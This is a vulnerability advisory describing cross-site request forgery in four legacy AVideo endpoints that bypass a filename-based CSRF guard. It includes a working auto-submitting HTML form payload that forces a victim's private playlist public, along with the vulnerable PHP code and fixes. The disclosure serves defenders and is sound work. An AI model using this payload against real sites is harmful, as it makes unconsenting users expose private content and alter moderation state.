Avideo: CSRF on legacy playlist/video endpoints whose filenames don't match the `.json.php` auto-guard pattern
What fixes it
No source in this snapshot names a fixed version.
Description
CSRF on legacy playlist/video endpoints whose filenames don't match the .json.php auto-guard pattern
- Severity: Medium
- CVSS 3.1:
AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N→ 4.3 (per-endpoint; worst case isplaylistStatus.phpexposing a private playlist) - Affected asset: WWBN/AVideo,
masterbranch, commit8a32cc70a4(HEAD at audit time) - Reporter: (this audit)
- Date: 2026-10-05
- Status: Draft — ready for GHSA/MITRE submission, no CVE self-assigned
Summary
The codebase's global CSRF mitigation (objects/include_config.php:333-339, autoCSRFGuard()) only runs for request filenames whose basename ends in the literal string .json.php. Several legacy state-changing endpoints — objects/playlistStatus.php, objects/videoSuggest.php, objects/playlistRemoveVideo.php, objects/videoPinOnChannel.php — are named *.php (not *.json.php) and were never given the explicit forbidIfIsUntrustedRequest() / forbidIfInvalidToken() retrofit that sibling legacy endpoints (objects/playlistRemove.php, objects/playlistSort.php, objects/videoEditLight.php, objects/userSavePhoto.php) received for exactly this reason (confirmed by an explicit comment in playlistRemove.php: // filename does not end in .json.php, so autoCSRFGuard() never runs for this endpoint). This is the direct sibling gap to the CSRF hardening the vendor did in commit c1901c7f37, which addressed objects/functions.php and objects/pluginImport.json.php but did not cover this class of legacy filename.
Affected versions
Tested on branch master, commit 8a32cc70a4 (2026-10-05/06). This project ships rolling weekly releases from master with no in-repo semantic version string (per RELEASING.md), so there is no fixed version tag to cite — treat all deployments running master at or before this commit as affected until patched.
Reproduction steps
- Victim is logged into AVideo in one browser tab.
- Victim visits an attacker-controlled page containing an auto-submitting cross-origin form targeting one of the vulnerable endpoints, e.g.:
<form id="f" action="https://victim-avideo.example/objects/playlistStatus.php" method="POST">
<input name="playlist_id" value="123">
<input name="status" value="public">
</form>
<script>document.getElementById('f').submit();</script>- The victim's browser sends the authenticated session cookie along with the cross-origin POST.
objects/playlistStatus.phponly checksUser::isLogged()and playlist ownership (User::getId() === $obj->getUsers_id()) — no CSRF/Origin check — so the request succeeds and the victim's playlist (which may beprivate/unlisted) is forced topublic.
The same pattern applies, with different impact, to:
objects/videoSuggest.php— forcesisSuggestedon arbitrary video IDs (requires moderator/admin session; cross-site forged moderation action).objects/playlistRemoveVideo.php— removes a video from a playlist the victim owns (or manages, ifPlayLists::canManageAllPlaylists()).objects/videoPinOnChannel.php— forcesisChannelSuggestedon videos the victim can manage (lower impact: attacker can only affect content the victim already controls).
Impact
An attacker can force state changes on behalf of a logged-in victim without their knowledge or consent, purely by getting them to load an attacker-controlled page while authenticated:
- Privacy exposure: a victim's
private/unlistedplaylist can be forcibly madepublic(playlistStatus.php) — the most impactful of the four, since it discloses previously-private content to the public without any further action. - Content integrity: forged moderation (
videoSuggest.php) or playlist-content tampering (playlistRemoveVideo.php) performed as the victim.
Proof of concept
<!-- Forces playlist 123 to 'public' for whichever logged-in victim loads this page -->
<form id="f" action="https://TARGET/objects/playlistStatus.php" method="POST">
<input name="playlist_id" value="123">
<input name="status" value="public">
</form>
<script>document.getElementById('f').submit();</script>Confirmed by direct source read — none of the four files call forbidIfIsUntrustedRequest() or forbidIfInvalidToken(), and none end in .json.php:
// objects/include_config.php:333-339
if (
isset($_SERVER['REQUEST_METHOD']) &&
substr($baseName, -9) === '.json.php'
) {
autoCSRFGuard($baseName, $_SERVER['SCRIPT_FILENAME']);
autoRateLimitGuard($baseName, $_SERVER['SCRIPT_FILENAME']);
}// objects/playlistStatus.php (full file, no CSRF check anywhere)
...
if (!User::isLogged()) { forbiddenPage('Permission denied', true); }
$obj = new PlayList($_POST['playlist_id']);
if (User::getId() !== $obj->getUsers_id()) { forbiddenPage('Permission denied', true); }
$obj->setStatus($_POST['status']);
echo '{"status":"'.$obj->save().'"}';Contrast with the already-patched sibling:
// objects/playlistRemove.php // filename does not end in .json.php, so autoCSRFGuard() never runs for this endpoint forbidIfNotPost(); forbidIfInvalidToken();
Remediation
- Immediate: add
forbidIfIsUntrustedRequest()(orforbidIfNotPost(); forbidIfInvalidToken();, matching the pattern used inobjects/playlistRemove.php) to each of the four affected files. - Systemic: change the
autoCSRFGuard()trigger inobjects/include_config.php:335from a filename-suffix check to something that can't silently miss a file — e.g. explicit opt-out list (protect by default, name exceptions) rather than explicit opt-in by naming convention. The current design means every *newly added* legacy-named endpoint is CSRF-unprotected by default unless a developer remembers the retrofit pattern. - Grep the full
objects/*.phpandplugin/*/*.phptree (excluding*.json.php) for state-changing endpoints (anything calling->save(),->delete(),setStatus,setIsSuggested, etc. on$_POSTinput) to confirm these four are the complete set — this audit was not exhaustive beyond the playlist/video-suggestion surface.
References
- CWE-352 (Cross-Site Request Forgery)
- Direct sibling of the fix in commit
c1901c7f37("address CSRF token concerns in functions and plugin import handling") — same bug class, different (legacy-named) files - Report to: developer@streamphp.com per
.github/SECURITY.md
Text from GitHub Advisory Database
Affected versions 1
- Avideo< 24.0GitHub